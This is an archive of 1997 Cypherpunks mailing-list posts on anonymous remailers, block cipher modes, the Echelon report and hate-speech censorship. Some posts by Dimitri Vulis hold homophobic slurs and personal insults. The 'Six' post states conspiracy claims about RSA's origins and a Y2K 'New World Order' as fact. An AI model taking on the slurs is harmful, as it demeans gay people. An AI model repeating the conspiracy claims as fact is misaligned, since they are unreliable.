In-Reply-To: <199712202049.VAA13608@basement.replay.com>
Message-ID: <7g91He22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> On Sat, 20 Dec 1997, Dr.Dimitri Vulis KOTM wrote:
>
> >
> > Panix is extremely censorous. I know of at least 3 cases where they pulled
> > plugs on their users because they didn't like the contents of their speech.
>
> > (Many people here probably remember Fred Cherry - Panix pulled his plug for
> > "homophobia".)
> > chris.com pulled the plug on TRRJC3 (Igor's pal) because of content.
> I wish you could be a little more specific.
> Harrashing email and excessive cross-posting in violation of each UseNet
> group charter is not
> censorship.
> If someone sends a gay an email saying "I will kill you. Look out for the
> next gay pride parade" that's is legitimate ground for action.

Panix pulled Fred Cherry's plug because of his Usenet articles criticizing
homosexuals as child molestors and fascist censors.

I am not aware of Fred Cherry ever sending anyone e-mail resembling the
"quote" fabricated the anonymous homosexual.

No wonder John Gilmore is a cocksucker.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Sun, 21 Dec 1997 02:26:45 +0800
To: cypherpunks@toad.com
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
Message-ID: <19971220182004.12276.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

gburnore@netcom.com (Gary L. Burnore) wrote:

> On 19 Dec 1997 23:01:59 +0100, Charlie Comsec  wrote:
> :Actually in the case of anonymous e-mail you have one additional
> :safeguard.  You can ask to be blocked from receiving anonymous e-mail.  Try
> :telling the telephone company that you want to be blocked from receiving
> :calls from any pay phone!
>    
> It's available now.  The first to use it are pager companies.

Why would a pager company want to block calls from pay phones?  Haven't
you seen that commercial (for MCI?) where the kids crowd into that phone
booth and page someone to pick them up from school before the big
storm hits?  Imagine if they had gotten a recording saying "I'm sorry.
You can't page this number from a pay phone."  Really bad PR!

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJvy7Abp0h8ZvosNAQHvxgf+K2qymGG+uDduMJbDHw94OhAWioubIXHe
KK7dXYstS1qFpoG7zJgbcJprYWMsdOQD9c/GD68CmzOj+BYLRQ+7cMLyFWmvIylJ
pVMBIuocLKFo2CXU5m5aHNb6MUoTkqAZA4ZOP6HlWVFbXdOlrzyD689qpDTNOwsH
DEJtlF4Iu1wogZN5D1rh4Obr1hTPgihJH4cXqkfpwsaAnGKB0uHn8akhgGVFP0rL
ovDLmiCGoCUFTTOgKGPv1Z3+dZ07TEy3yhLEbJPrEfw6Cua8F8C7fD0+ZymErJoJ
qvr51KoxKp5LJAgZgAgYgCcmTEhVoiPiO6Hafyu6x5r4QKYxe+ONMA==
=yaoP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Johnson, Michael P (Mike)" <JohnsMP@LOUISVILLE.STORTEK.COM>
Date: Sun, 21 Dec 1997 09:51:32 +0800
To: "'cypherpunks@Algebra.COM>
Subject: RE: ECB, CBC, CFB, OFB
Message-ID: <c=US%a=_%p=Stortek%l=LSV-MSG06-971221014643Z-85371@lsv-bridge.stortek.com>
MIME-Version: 1.0
Content-Type: text/plain




>Somebody asked:
>>Can somebody more experienced than I am explain the strengths and weaknesses
>>of these encryption modes as applied to CAST, IDEA, DES, and Blowfish?
>
>>              ecb    Electronic codebook mode
>>                     c[i] = f1(K, p[i])
>>                     p[i] = f2(K, c[i])

This is the weakest mode. Patterns in the plain text tend to cause
repeated blocks in the output, causing some information leakage. This
mode is really only suitable if you have exactly one block or less to
encrypt or if random access at the block level is critical. An error in
the ciphertext or plaintext only affects one block, as long as bit count
integrity is maintained.

>>              cbc    Ciphertext block chaining mode
>>                     c[i] = f1(K, p[i]) ^ c[i-1]
>>                     p[i] = f2(K, c[i]) ^ c[i-1]

This is good at preventing information leakage. A one bit error in the
ciphertext causes a one block error in the plain text => reasonable
balance between tamper detection and error resistance. This mode is
commonly used.

>>              cfb    Ciphertext feeback mode
>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>                     p[i] = f1(K, c[i-1]) ^ c[i]

This is good at preventing information leakage. A one bit error in the
ciphertext causes a one bit error in the plain text => good for use in
high noise environments where error detection and correction is
(inexplicably) not used and tamper detection is not as critical. Doesn't
require a decryption mode, so a hash function like SHA1 could be used in
this mode instead of a general block cipher.

>>              ofb    Output feeback mode
>>                     h[i] = f1(K, h[i-1])
>>                     c[i] = p[i] ^ h[i]
>>                     p[i] = c[i] ^ h[i]

This mode essentially turns a block cipher into a stream cipher without
feedback. It must be used with the same caution as such a cipher. In
other words, the same stream should not be reused, but a new starting
point (initialization vector = h[-1]) and/or key should be chosen for
each message. No padding or data size expansion is necessary.

Several other modes are possible...

For really slow performance, you can try some kind of key feedback. :-)
   K[i] = K[i-1] ^ p[i-1]   or maybe   K[i] = e(K[i-1], K[i-2])
   c[i] = e(K[i], p[i])
   p[i] = d(K[i], c[i])
Caution: bizarre modes may not be well analyzed... although I think some
key feedback modes have merit when you are trying to slow an attacker
down. They might really mess up specialized cracking hardware. :-)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Six <ualdv8@sk.sympatico.ca>
Date: Sun, 21 Dec 1997 10:45:51 +0800
To: cypherpunks@toad.com
Subject: World SpyMonger System [WAS NEVER: The Last Lamer CypherPunk]
Message-ID: <199712210240.UAA12402@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain




>From: "Vladimir Z. Nuri" <vznuri@netcom.com>
>- ----------------------------------------------------------
>>Daily Telegraph  Connected Supplement 16th December 1997
>>
>>A European Commission report warns that the United States has developed an
>>extensive spying network on European Citizens and we should all be worried,
>>reports Simon Davies.
>>
>>A global electronic spy network that can eavesdrop on every telephone,email
>>and telex communication around the world will be officially acknowledged
>>for the first time in a European Commission report to be delivered this
>>week.

On a mailing list whose subscribers are alleged to include the last of a
variety of
dying breeds [Last True CypherPunk, Last Canadian Outlaw, Last Anarchist],
it is no
doubt inevitable that the Last Lamer CypherPunk must also be among the
current ranks.
How can you tell if *you* are the Last Lamer CypherPunk?

Were you surprised to find out that Knixon knew?
Were you surprised to find out that RSA was 'developed' <hee, hee> with
funding by
Naval Intelligence after *years* of experimentation and use by British
Intelligence?
Were you surprised to find out that unelected representatives of secret
agencies are
involved in worldwide monitoring and manipulation of all communications and
financial
transactions?
Do you plan to be surprised when fallout from the Y2K problem turns out to
be the
definitive excuse for instituting a global, financial New World Order?

If you can answer "Yes" to all of the above questions, you may be the Last Lamer
CypherPunk.

>>Until now evidence of such astounding technology has been patchy and
>>anecdotal. 

For those living in LamerWorld, maybe. I was aware of the details currently
being 
'discovered' when I was eight years old. I was also playing with IRS source
code at
that age, studying the Millennium Bug.

>>"The Echelon system forms part of the UKUSA system but unlike many of the
>>electronic spy sysfems developed during the Cold War, Echelon is designed
>>primarily for non-military targets: governments, organizations  and
>>businesses in virtually every country.

In other words, while list members are decrying Tim C. May's use of the phrase,
"broken eggs and all that," in reference to his "other brother Timmy's"
political
statement, the targets of McVeigh's wrath are busily at work in another
government
building (still hiding behind children) deciding which individuals, businesses,
governments and countries will live, and which ones will die.

>>Former signals intelligence operatives have claimed that spy bases control
>>led by America have the ability to search nearly all data communications
>>for kev words. They claim that Echelon automatically analyses most email
>>messaging for "precursor". data which assists intelligence agencies to
>>determine targets.

Of course, those who have been disseminating manuscripts concerning this
activity
across the InterNet for almost a decade are still considered fringe lunatics.
This will still no doubt be the case when the clock strikes midnight on Dec.
31, 1999,
at which time the prophecy that "Gomez is coming" will be fulfilled as
described in
1989, in the opening chapter of "The Xenix Chainsaw Massacre":
    "His Login is Panic
     His Password is Crash
     When Time is of Essence
     He'll Rise from the Ash."

>>The driving force behind the report is Glyn Ford. Labour MEP for Greater
>>Manchester East. He believes the report is crucial to the future of civil
>>liberties in Europe.

>>"There are times in history when technology helps democratise, and times
>>when it helps centralise. This is a time of centralisation. The justice
>>and home affairs pillar of Europe has become more powerful without a
>>corresponding strengthening of civil liberties."

This time, it is global--it is for "all the marbles."
Anyone who still believes that the "Forces of Light" and "Dark Allies"
analogies in
'The True Story of the InterNet' are frivolous, should just turn on the TV
and go back
to sleep.
Anyone who fails to see that the encryption, anonymity and privacy issues
dealt with
on the CypherPunks list will soon be literal life-and-death issues in the near
future needs to send their private keys to the government immediately, so
that they
can 'save' you more efficiently in the future.

>>Glyn Ford hopes his report may be the first step in a long road to more
>>openness. "Some democratically elected body should surely have a right to
>>know at some level. At the monment that's nowhere."

If you are waiting for "some democratically elected body" to 'save' you from
the 'bad
guys', then you may well be the Last Lamer CypherPunk (TM).


The Revolution Is Now!

Sixual Deviate
CypherKid Cult of One
|<---->|
   8"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Orgel <orgel@wizard.net>
Date: Sun, 21 Dec 1997 09:17:33 +0800
To: "Meander-Talk" <baj@sover.net>
Subject: Re: Fwd: Dec. 16 column -- Bill of Rights
Message-ID: <199712210114.UAA15436@radagast.wizard.net>
MIME-Version: 1.0
Content-Type: text/plain



On 12/20/97 5:08 PM EST (-0500), Brian B. Riley wrote:

>To their credit, Aaron Zelman and J.E. Simkin of the little 
>Milwaukee-based Jews for the Preservation of Firearms Ownership ...  

Oy vey. (I'm sort of average height and not based in Milwaukee, so they 
probably wouldn't let me in.)

--David





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Sun, 21 Dec 1997 04:32:13 +0800
To: cypherpunks@toad.com
Subject: Re: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <668vgi$bpo@news1.panix.com>
Message-ID: <19971220202003.18109.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

politas@dynamite.com.au (Politas) wrote:

> >And if someone makes what you consider an annoying telephone call from a
> >public telephone, should the phone company remove the telephone?  Sure, they
> >may be able to trace the telephone used, but not who used it.
>  
> You are making unnecessary and incorrect parallels.  Tracing the
> telephone used _is_ the equivalent of the sending email address.

Yes but tracing a call to a pay phone is the equivalent to tracing an 
anonymous e-mail back to a remailer.  In fact, anonymous e-mail already 
contains information identifying the remailer it came from, so no additional
tracing effort is required.
 
> >Just as the anonymous person is paying for his own access to the internet.
> >The anonymous caller to your telephone is not paying your monthly telephone
>  
> with anonymous email, you also don't get any information about the
> whereabouts of the person, which you do from the snail mail post
> office.

Perhaps you're unaware that snail mail "remailers" existed long before their
e-mail counterparts came along.  (Perhaps they still do, I haven't checked.)
You'd address a letter, place a stamp on it, and place it inside another
envelope addressed to the remailer service along with whatever fee they
charged, in cash.  When they received it, they'd open the outer envelope,
place the inner envelope back in the mail, throw the outer envelope away,
and pocket their fee.

All the recipient saw was a postmark from a certain post office.  You'd know 
that SOMEBODY mailed the letter at that post office, or at least somewhere 
withing their collection area.  It wasn't necessarily the person who wrote the 
letter, though.  Let's say that you get a letter that's postmarked "Chicago, 
IL".  Upon further investigation, you determine that it was mailed from 
somewhere withing the boundaries of the post office branch which also serves 
O'Hare International Airport, which is the USA's busiest airport.  How does 
that solve your professed need to know who sent it?
 
> >> You'd be amazed
> >> how often people who send "anonymous" letter bombs get caught.
> >
> >Yes, for both the e-mail and snail mail variety.  It's much easier to send 
> >an e-mail bomb from a throwaway ISP account than from a remailer, anyway.
> >Most remailers have fairly small size restrictions, for one thing, and if you
> >start sending too many individual e-mails through a remailer, the software
> >WILL take note of that fact and flag that fact for the operator.
>  
> And your point is?  Email bombs aren't the only thing I am concerned
> about here.

If you'll be specific, then perhaps I can address those concerns.
 
> >> Because I'd like it to be so.  I'm not really calling for anything
> greater 
> >> than we currently have with the phone system.
> >
> >Then you already have that.
>  
> Not if there are anon remailers that store _no_ information about the
> sender of a message.

You said earlier that you were concerned about *REPEATED* abuse.  If you
can do something to prevent a repetition after (or even before) receiving the 
first e-mail you consider abusive, then your problem is solved, is it not?

> >                            If you don't want calls from a certain caller,  
> >you can arrange to have them blocked.  If you don't want "anonymous" calls,
> >you can have incoming calls without caller ID information blocked, just as
> >you can request that the remailers not send you any anonymous e-mail.
>  
> Each remailer separately.  That means at least one message from every
> remailer in the world.  It's almost as bad as spammers offering
> "remove lists" 

There aren't that many remailers around, and a request to one of them to
have your address blocked, with a further request that they pass it on to
their fellow remailer operators should do the trick. If someone is sending
you SPAM via a remailer, then you need to notify the remailer operator.  They
usually act very quickly to stop that from happening, since it wastes their
resources as well as yours.  By its very nature, spam is detectable in a
content-neutral and sender-neutral fashion.

> >(None of this really has anything to do with anonymous PUBLIC posts.)
>  
> None of what?  I included public postings in my statement.  I may not
> have done it explicitly enough.  I really do believe that people
> should be accountable for what they do online.  If they cannot find
> anywhere in the world where those activities are acceptable, then they
> shouldn't be doing it.

That's the whole point of using remailers -- so that some country that wants
to be tyrranical can't hunt down someone in another country that does something
it considers "politically incorrect".  If something annoys you, then stop
reading it.  Killfile the author.  Killfile all remailers if you like.  Don't 
use dynamite (pun intended) to exterminate cockroaches.

> >"Presumed innocent until proven guilty" is still in force here.  I might well
> >say that I can see no purpose for owning a printing press other than to print
> >"subversive" material, yet I still retain that right here in the USA until
> >you can prove that I've used it for illegal purposes.  If you can prove that,
> >then you can get a court injunction against me.  But you can't take away that
> >right based on what you think I *MIGHT* do.
>  
> YEs, and if I can get a court injunction against an anonymous account,
> I expect to be able to trace that back to a person eventually.
> *Possible*  NOT *easy*. 

You're welcome to TRY, but nothing says that the person has any duty to make
it easy for you.

> >Of course, sometimes "breaking laws" IS the reason for anonymity.  If the
> >government were to outlaw the dissemination of certain politically incorrect
> >ideas, then the only way to safely do so might be anonymously.
>  
> Yes, so you find a remailer in a country that will support your
> "political incorrectness".  What's the problem?  

None. The solution you suggest is what already exists.

> You guys have to stop thinking insularly. 

Please define "you guys".

> Yes a single country's govt may not be able to be
> trusted.  But unless we change to a single world totalitarian govt
> (which I think unlikely), there will always be somewhere that
> political freedom will be promoted.

There is.  And there are places that allow anonymous remailers to operate as
they currently do.  I have no problem with that.  Do you?
 
> >If you feel that strongly about anonymous e-mail, then simply ask the
> >remailer operators to have your address blocked from receiving any. Your
> >(potential) problem is then solved.
>  
> I'm not really worried about it.  I don't normally annoy people enough
> for them to worry about me.  Although, I hardly think that it is a
> "simple" thing to tell everyone who runs an anonymous remailer
> anything.

Have you even TRIED?  You seem to be inventing problems where none exist.
If you're not worried about yourself, how do you know that others appreciate
your worrying on their behalf?

> >> Oh come now, you make it sound like Hotmail are doing it all out of the
> >> goodness of their hearts.  They *are* making money, you know.
> >
> >I'm sure they are, but the extra costs of positively IDing users would have
> >to be paid somehow.
>  
> What extra costs?  storing the IP address or the email address used to
> register the account? 

Are you offering to donate the disk space?  If you can convince Hotmail and
other providers to do what you're suggesting, and provided they properly
inform all new and existing users of this new policy far enough in advance
to make other plans if they so desire, I would not object.

Just don't expect anyone with a need for more than superficial "anonymity"
to use such a service.  Indeed, they probably already don't, anyway.

> >Of course they can.  Ultimately, each person is responsible for maintaining
> >his own privacy.  There's always a risk.
>  
> Not if you can use an anonymous remailer that keeps no information to
> trace you with.  That's just making it too easy.

"Too easy"?  How so?  Are you saying that protecting one's privacy should be
difficult?

You're also being redundant when you say "anonymous remailer that keeps no 
information to trace you with".  If they store the information you're 
suggesting, then you're quite obviously NOT anonymous, even if some users
mistakenly think they are.

> >                                         Those who anonymously (and illegally)
> >used fax machines to send uncensored news out of China during the Tianamen
> >Square uprising were obviously taking such a risk.  Does it bother you that
> >the technology did not exist to identify and prosecute those who did so?
>  
> The technology did exist.  The necessary information may not have been
> available to those who wanted to use it, but it did exist.  If all the 
> countries involved had been cooperating, they could have been found.
> Freedom from the oppressive regime is provided by the other country.

And so if you convince the Australian government to ban truly anonymous
remailers, they may still exist in other countries to protect Aussies.  There
already are countries that have banned encryption and anonymous communication.
AFAIC, any regime that's that paranoid about anonymity is an "oppressive 
regime" as you've termed it.  To quote one of the USA's founders, 

  "When the government fears the people there is liberty. 
   When the people fear the government there is tyranny".
   
> >No, but that's a different scenario than the telephone company requiring a
> >form of positive identification before using a pay phone.  You aren't
> >assuming that these "repeated offenses" involving pay phones all were made
> >using the SAME TELEPHONE each time, are you?  Not all harrassing callers
> >would be that stupid, although some might be. 
>  
> Of course not.  But if someone is repeatedly phoning me, it is quite
> possible that spread out police could be able to catch the person
> calling with a good enough organisation.  The effort required is
> immense, fairly similar to the effort required to convince another
> country to accept a warrant to break privacy of an anonymous remailer.

And if the remailer stored no information to tempt litigious individuals,
firms, and governments, then that problem would be solved altogether.  It's the same principle that stores
use when they leave their cash registers EMPTY and UNLOCKED at night.  A thief
will often cause more damage to the cash register breaking into it than the
amount of the money that it contains.  What you're suggesting is that the
person's privacy be violated BEFORE any law is broken, just in case he MIGHT
break a law later.

> >In the case of anonymous e-mail, you can trace it back to the remailer
> >utilized just like you can trace a phone call back to the telephone used.
> >But what does thay buy you?  You still don't know WHO made the call or sent
> >the e-mail.  Actually in the case of anonymous e-mail you have one additional
> >safeguard.  You can ask to be blocked from receiving anonymous e-mail.  Try
> >telling the telephone company that you want to be blocked from receiving
> >calls from any pay phone!
>  
> So, if I want to not receive anonymous email, I'd have to contact
> every single anonymous remailer in the world, and ask to be excluded?
> Sorry, that kind of argument just doesn't wash.  Anyway, what if I
> want to be able to receive anonymous messages, but I just want this
> one person who is trampling on my rights to stop?  Why should I give
> in to them?

It's your choice.  Go visit the list of remailers currently in operation and
count how many there are.  If it's too much trouble for you to send a single
block request, CCed to a dozen or so addresses, then you probably don't have
a strong enough case to go to court, obtain a warrant or subpoena, either.
By the time you go through that process, you'll have invested far more time
and effort than sending an e-mail or two to prevent the problem.

> And Peter da Silva was calling me silly?  

I don't speak for him, nor he for me.

> About the main one I can  
> think of is harassment.  That can be anonymous, and can certainly be
> illegal, depending on the level of harassment.  

If it's not serious enough for you to request that your e-mail address
be blocked, then why should the authorities think it's serious enough to
devote the resources to hunt down your harasser?

> >And if something is merely annoying, then prevention makes more sense than
> >building in the ability to hunt down the sender.
>  
> Why not both?  Trying to 100% prevent something without crippling your
> own lifestyle can be difficult.  I wouldn't want to prevent all 
> anonymous email reaching me, and I wouldn't want to give up on the
> usefulness of email.

If the only purpose of anonymous e-mail is to break the law, then why
WOULDN'T you want to block it?  Do you have some reason you'd want to hear
from people you consider lawbreakers?

> If someone really wants to send me email, there
> is no way I can prevent it short of not allowing any untrusted
> accounts to email me.  And that's reducing my lifestyle.  It's giving  
> in.

That's your choice.  The solution exists if you choose to use it.

> >Like anonymous e-mail itself, any surefire means of identifying the sender of
> >a message is also prone to abuse.  That's why the "Big Brother Inside"  
> >concept is a cure that's worse than the disease.
>  
> Only within a single country.  With an international network like this
> one, it is ridiculously easy to get around the laws of any one
> country.  Getting around the laws of EVERY country on the net is a lot
> harder, and should rightly be so. 

So if somebody in Argentina decides to harrass someone in England, how would
what you're proposing solve that problem?

> Besides, there's no such thing as a 'surefire' means of identifying 
> the sender with the method I proposed.  It would still be possible to
> get anonymous messages out.

It's good to see that you're finally coming to that realization.  I'd just
like to keep it so.
 
> Consider who needs to cooperate in order to trace an anonymous-
> remailer message when tracing information has been stored:
>  
> The recipient
> The recipient's local law enforcement
> The recipient's local court system (possibly)
> The anonymous remailer's local law enforcement
> The anonymous remailer (even if forced to assist by law, they can
> still refuse to divulge information, and/or tip off the sender) 
> The anonymous remailer's local court system (possibly)
> The anonymous remailer's local government
> The sender's local law enforcement
> The sender's local court system
> The sender's local government
>  
> Still think that "Big Brother" is a problem here?  Even a public
> posting only removes the top three layers here.

All this to nail a public poster who's offended you?  The problem with an
idealistic approach like this is that the prohibitive expense of defending
against frivolous litigation tends to circumvent most of the safeguards
you're hypothesizing here.  If the remailer doesn't have the financial 
resources to match those of the attacker, whether it be the Church of 
Scientology trying to silence a dissident ex-member or the government of 
Iran trying to prosecute an anonymous poster for "blasphemy against Islam", 
what protects the anonymous poster's legitmate privacy concerns?

The point you're missing is that you're trying to bypass due process and
violate the privacy of every sender on the theory that he MIGHT eventually
do something illegal.  Unless the remailer had already violated the sender's
privacy by storing identifying information, then your hunt would stop right 
there.

The remailers have found from experience that it's easier to simply not store
unneeccessary identifying information on the sender in the first place, rather 
than spending money on needless litigation trying to keep it confidential 
later on.

How would your proposal be implemented?  Some international law requiring
remailers to start keeping logs of their users' e-mail?  By your own admission,
all it would take is one hold out who refused to host "Big Brother Inside" to
defeat your scheme.

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 21 Dec 1997 04:56:03 +0800
To: cypherpunks@toad.com
Subject: Re: Hate speech and censorship
In-Reply-To: <a9P1He9w165w@bwalk.dm.com>
Message-ID: <199712202049.VAA13608@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 20 Dec 1997, Dr.Dimitri Vulis KOTM wrote:

> 
> Panix is extremely censorous. I know of at least 3 cases where they pulled
> plugs on their users because they didn't like the contents of their speech.

> (Many people here probably remember Fred Cherry - Panix pulled his plug for
> "homophobia".)
> chris.com pulled the plug on TRRJC3 (Igor's pal) because of content.
I wish you could be a little more specific.
Harrashing email and excessive cross-posting in violation of each UseNet 
group charter is not
censorship.
If someone sends a gay an email saying "I will kill you. Look out for the 
next gay pride parade" that's is legitimate ground for action.


> I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
> for the ideology; he'll bend over the moment he thinks there's more $$ in
> bending over, which is usually the case.
What is wrong selling privacy for money?
Do you have any prof that Lance Cottrell would "bending over" his 
principles in favour of money.

> Remember how Sameer Parekh's C2Net used to try to peddle a "privacy ISP"
> because he failed miserable and diversified into peddiling shitty software
> and making idiotic legal threats? He happily pulled plugs bases on content,
> while at the same time stating in court papers that he doesn't censor content.
> What a pathological liar.
I suppose you can back up your claim with documentation.
What court document are you referring as evidence that Sameer Parekh is a 
pathological liar?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 21 Dec 1997 15:28:21 +0800
To: "Johnson, Michael P (Mike)" <cypherpunks@Algebra.COM>
Subject: RE: ECB, CBC, CFB, OFB
In-Reply-To: <c=US%a=_%p=Stortek%l=LSV-MSG06-971221014643Z-85371@lsv-bridge.stortek.com>
Message-ID: <v03110768b0c265a36289@[207.94.249.114]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:46 PM -0800 12/20/97, Johnson, Michael P (Mike) wrote:
>>Somebody asked:
>>>Can somebody more experienced than I am explain the strengths and weaknesses
>>>of these encryption modes as applied to CAST, IDEA, DES, and Blowfish?
>>
>>>              ecb    Electronic codebook mode
>>>                     c[i] = f1(K, p[i])
>>>                     p[i] = f2(K, c[i])
>
>This is the weakest mode. Patterns in the plain text tend to cause
>repeated blocks in the output, causing some information leakage. This
>mode is really only suitable if you have exactly one block or less to
>encrypt or if random access at the block level is critical. An error in
>the ciphertext or plaintext only affects one block, as long as bit count
>integrity is maintained.

It should be point out that ECB is also subject to some spoofing attacks.
Blocks from one message encoded with a particular key can be substituted
for blocks in a different message encoded with the same key.  In a banking
system, this attack might allow the attacker to change the transaction
amounts.

With any mode, encypherment is not a substitute for a message
authentication code.


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz@netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: an401@hotmail.com (Jeff Brown)
Date: Sun, 21 Dec 1997 05:29:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hate speech in Germany
Message-ID: <199712202126.WAA17065@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



There is no doubt that the speech emsrunding holocaust denial is hate speech.
Ernst Zundel, one with whom I am very familiar portrays Jews as terrorists, criminals and states
that the Jews themselves are to blame for the holocaust.
No doubt that holocaust denial is hate speech.
At the issue of freedom of speech is also the
hypocrasy of most of those who claim to be victims of Orwellian thought crime laws.
Ernst Zundel is in fact in support of censorship of Jewish films such
as Holocaust and Schindler's List.
http://www.nizkor.org/hweb/people/z}zundel-ernst/
I don't think Mr. Zundel or Aryan for this matter should be punished
for their lies, but they should  neither gain any credibility in the free speech movement.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sun, 21 Dec 1997 07:14:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is Anonymous Communication only for "Criminals"?
Message-ID: <QzbXND2HpQOEiGmmHc51yQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



>(Even the _ability_ to block a pay phone, qua pay phone, must imply that
>pay phones send out some kind of signal announcing themselves as pay
>phones, which I had not heard of before. I assumed a pay phone was Just
>Another Phone Number.)

Caller ID identifies most pay phones as "PAY PHONE".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Simon Spero <ses@tipper.oit.unc.edu>
Date: Sun, 21 Dec 1997 12:15:47 +0800
To: Bill Stewart <bill.stewart@pobox.com>
Subject: Re: How about a Bay Area Cypherpunks meeting 1/17/98?
In-Reply-To: <3.0.3.32.19971220162642.0074f3dc@popd.ix.netcom.com>
Message-ID: <Pine.SUN.3.96.971220225940.12965B-100000@tipper.oit.unc.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 20 Dec 1997, Bill Stewart wrote:

The 17th also happens to be just after a W3C meeting in Palo Alto. I was
planning to spend the day hanging at the mall with Chelsea, but this could
be fun too...

Simon

----
Now available - The Freddy Hayek Kayak            | "Pass me another elf
Paddle Your Own Canoe! Be Rowed To Surfdom!       | Sergeant- this one's
>From The Taco Institute for Dyslexic Libertarians | split"
  Moments ago I had everything. Now, there's a cow in my nose - La Salla





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sun, 21 Dec 1997 06:44:15 +0800
To: cypherpunks@Algebra.COM
Subject: ECB, CBC, CFB, OFB
Message-ID: <199712202235.XAA24669@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Can somebody more experienced than I am explain the strengths and weaknesses
of these encryption modes as applied to CAST, IDEA, DES, and Blowfish?

>       -m mode
>              Set the transfer mode.
>
>              Valid ENCRYPTION modes are:
>
>              ecb    Electronic codebook mode
>                     c[i] = f1(K, p[i])
>                     p[i] = f2(K, c[i])
>
>              cbc    Ciphertext block chaining mode
>                     c[i] = f1(K, p[i] ^ c[i-1])
>                     p[i] = f2(K, c[i]) ^ c[i-1]
>
>              cfb    Ciphertext feeback mode
>                     c[i] = f1(K, c[i-1]) ^ p[i]
>                     p[i] = f2(K, c[i-1]) ^ c[i]
>
>              ofb    Output feeback mode
>                     h[i] = f1(K, h[i-1])
>                     c[i] = p[i] ^ h[i]
>                     p[i] = c[i] ^ h[i]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 13:26:59 +0800
To: cypherpunks@toad.com
Subject: Re: Is Anonymous Communication only for "Criminals"?
In-Reply-To: <QzbXND2HpQOEiGmmHc51yQ==@bureau42.ml.org>
Message-ID: <cTP2He29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer <nobody@bureau42.ml.org> writes:

> >(Even the _ability_ to block a pay phone, qua pay phone, must imply that
> >pay phones send out some kind of signal announcing themselves as pay
> >phones, which I had not heard of before. I assumed a pay phone was Just
> >Another Phone Number.)
>
> Caller ID identifies most pay phones as "PAY PHONE".

Many years ago the phone company tried to assign pay phones phone numbers
of the form xxx-9xxx. They no lobger do in area codes/exchanged where the
numbers are very scarce.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 13:27:44 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Hate speech and censorship
In-Reply-To: <199712202049.VAA13608@basement.replay.com>
Message-ID: <FwP2He30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
>
> On Sat, 20 Dec 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
> > for the ideology; he'll bend over the moment he thinks there's more $$ in
> > bending over, which is usually the case.

> What is wrong selling privacy for money?
> Do you have any prof that Lance Cottrell would "bending over" his
> principles in favour of money.

If "prof" is supposed to be "proof" then the answer is yes. Lance Cottrell
has spoken many times in favor of content censorship. Witness, for example,
his harrassment of HipCrime.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 13:52:00 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Hate speech and censorship
